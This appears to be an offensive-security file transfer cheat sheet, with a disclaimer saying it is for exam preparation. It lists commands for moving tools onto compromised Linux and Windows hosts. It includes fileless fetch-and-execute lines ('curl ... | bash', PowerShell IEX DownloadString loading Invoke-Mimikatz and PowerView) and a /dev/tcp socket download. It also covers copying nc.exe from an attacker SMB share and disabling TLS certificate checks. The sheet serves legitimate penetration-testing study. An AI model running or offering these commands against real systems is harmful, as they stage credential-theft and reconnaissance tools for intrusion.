



File Transfer Cheat Sheet

Linux Transfer

Using Wget

```
wget https://raw.snip.com/LinEnum.sh -O /tmp/LinEnum.sh
```

Using Curl

```
curl https://raw.snip.com/LinEnum.sh
```

Using Curl Fileless

```
curl https://raw.snip.com/LinEnum.sh | bash
```

Using Bash

```
exec 3<>/dev/tcp/10.10.10.32/80  
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3  
cat <&3
```

Using SSH

```
sudo systemctl enable ssh  
sudo systemctl start ssh  
scp plaintext@192.168.49.128:/root/myroot.txt .
```

Linux Servers

Python3 Web Server

```
python3 -m http.server
```

Python2.7 Web Server

```
python2.7 -m SimpleHTTPServer
```

PHP Web Server

```
php -S 0.0.0.0:8000
```

Ruby Web Server

```
ruby -run -ehttpd . -p8000
```

SMB Server

```
sudo impacket-smbserver share -smb2support /tmp/smbshare
```

SMB Server Authentication

```
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test  
-password test
```

Disclaimer – This cheat sheet was created to help people with exams. It is not for the purposes of hacking public infrastructure.



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FTP Server

```
sudo python3 -m pyftplib --port 21 --write
```

Windows Transfer

PowerShell DownloadFile

```
(New-Object Net.WebClient).DownloadFile('<Target File URL>', '<Output File Name>')
```

PowerShell DownloadFileAsync

```
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>', '<Output File Name>')
```

PowerShell DownloadString Fileless

```
IEX (New-Object Net.WebClient).DownloadString('https://raw.snip.com/snip/Invoke-Mimikatz.ps1')
```

PowerShell Invoke-WebRequest

```
Invoke-WebRequest https://raw.snip.com/snip/PowerView.ps1 -OutFile PowerView.ps1
```

PowerShell UsingBasicParsing

```
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
```

PowerShell FTP

```
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')
```

PowerShell SSL Error

```
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

```
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/ju1iourena/plaintext/master/Powershell/PSUpload.ps1')
```

SMB

```
copy \\192.168.220.133\share\nc.exe
```

SMB Authentication

```
net use n: \\192.168.220.133\share /user:test test
```

```
copy n:\nc.exe
```

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Code Transfer

Python2 Download

```
python2.7 -c 'import urllib;urllib.urlretrieve("https://raw.snip.com/snip/LinEnum.sh", "LinEnum.sh")'
```

Python3 Download

```
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.snip.com/snip/LinEnum.sh", "LinEnum.sh")'
```

PHP File_get_contents() Download

```
php -r '$file = file_get_contents("https://raw.snip.com/snip/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

PHP Fopen() Download

```
php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```

Ruby Download

```
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
```

Perl Download

```
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```